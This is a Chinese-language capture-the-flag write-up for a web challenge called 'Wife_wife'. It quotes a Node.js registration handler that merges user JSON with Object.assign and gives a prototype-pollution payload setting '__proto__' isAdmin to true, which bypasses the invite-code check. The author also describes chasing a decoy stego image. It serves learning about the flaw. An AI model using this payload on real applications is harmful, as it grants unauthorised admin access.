大佬的wp:WEB:Wife_wife-CSDN博客
知识点:
Object.assign(target, ...sources) - app.post('/register', (req, res) => {
- let user = JSON.parse(req.body)
- if (!user.username || !user.password) {
- return res.json({ msg: 'empty username or password', err: true })
- }
- if (users.filter(u => u.username == user.username).length) {
- return res.json({ msg: 'username already exists', err: true })
- }
- if (user.isAdmin && user.inviteCode != INVITE_CODE) {
- user.isAdmin = false
- return res.json({ msg: 'invalid invite code', err: true })
- }
- let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
- users.push(newUser)
- res.json({ msg: 'user created successfully', err: false })
- })
通关载荷:
抓取注册is_Admin=true的数据包,构造对应载荷:
payload:{"username":"ren2","password":"123","__proto__":{"isAdmin":true},"inviteCode":"1"}

成功注册了账号,这里直接登进去就拿到flag了

如果只是注册了普通账号的话,只能看到虚假的flag和一张图片,没有任何信息

这题可太整人了,普通账号进入后,我还以为图片中会有一些信息呢,做了半天的杂项发现图片就真的是图片呀,扫了一下上面的那张小图nilou1.jpg,发现竟然是个jphide加密的,欸,难道有什么隐藏的信息???搞了半天找不到密码,无法进行解码,看了大佬的wp才发现我是彻底被作者给打败了,思路被诱导了,原来是要绕过isAdmin检测,即使知道了也不会,基础太差了,原链污染的概念也是第一次听,总的来说还是有所收获的,一边被虐一边学习,痛并快乐着
用一张图来表达我的心情

10